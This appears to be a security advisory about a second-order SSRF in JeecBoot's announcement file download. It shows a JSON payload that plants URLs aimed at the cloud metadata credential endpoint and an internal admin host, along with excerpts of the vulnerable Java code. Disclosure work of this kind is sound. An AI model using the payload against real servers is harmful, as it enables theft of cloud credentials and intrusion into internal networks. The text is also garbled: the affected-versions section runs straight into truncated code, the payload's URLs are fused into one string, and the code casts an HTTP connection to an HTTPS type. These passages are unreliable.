# [Security] Second-Order SSRF in jeecboot_JeecBoot #9553 ## Vulnerability Overview A **second-order Server-Side Request Forgery (SSRF)** vulnerability exists in the announcement file download feature of `jeecboot_JeecBoot`. An attacker can inject a malicious HTTP URL into the `files` field via the `POST /sys/announcement/add` endpoint. When a user or administrator subsequently triggers the download through `GET /sys/announcement/downloadFiles`, the server initiates an HTTP request without SSRF protection, potentially allowing internal network scanning, access to local services, or retrieval of sensitive cloud metadata. ## Impact Scope - **Affected Versions**: add(@RequestBody SysAnnouncement sysAnnouncement) { Result result = new Result(); // code omitted... String title = XssUtils.scriptFilter(sysAnnouncement.getTitle()); sysAnnouncement.setTitle(title); // code omitted... sysAnnouncementService.saveAnnouncement(sysAnnouncement); result.success("添加成功!"); return result; } ``` ### Malicious Payload Example ```json { "title": "Important Announcement", "attachment": "Please review attachments", "files": "http://169.254.169.254/latest/meta-data/iam/security-credentials/http://192.168.1.1/admin" } ``` ### Trigger Phase (SysAnnouncementServiceImpl.java) ```java SysAnnouncement sysAnnouncement = this.baseMapper.selectById(id); // line 290 String[] fileUrls = sysAnnouncement.getFiles().split(","); // line 300 for (int i = 0; i < fileUrls.length; i++) { String fileUrl = fileUrls[i].trim(); SurFileTypeFilter.checkPathTraversalBatch(sysAnnouncement.getFiles()); // line 308 FileDownloadUtils.downloadSingleFile(fileUrl, filename, uploadUrl, zoom); // line 313 } ``` ### Exploitation Phase (FileDownloadUtils.java) ```java public static InputStream getDownInputStream(String fileUrl, String uploadUrl) { try { // HTTP URL: NO SSRF PROTECTION if (convertUtils.isUrl(fileUrl) && fileUrl.startsWith(CommonConstant.STR_HTTP)) { URL url = new URL(fileUrl); HttpsURLConnection connection = (HttpsURLConnection) url.openConnection(); connection.setConnectTimeout(5000); connection.setReadTimeout(30000); return connection.getInputStream(); // <-- SSRF HERE } else { // Local files: Protected by SurFileTypeFilter String downloadFilePath = uploadUrl + File.separator + fileUrl; SurFileTypeFilter.checkDownloadFileType(downloadFilePath); return new BufferedInputStream(new FileInputStream(downloadFilePath)); } } catch (IOException e) { return null; } } ```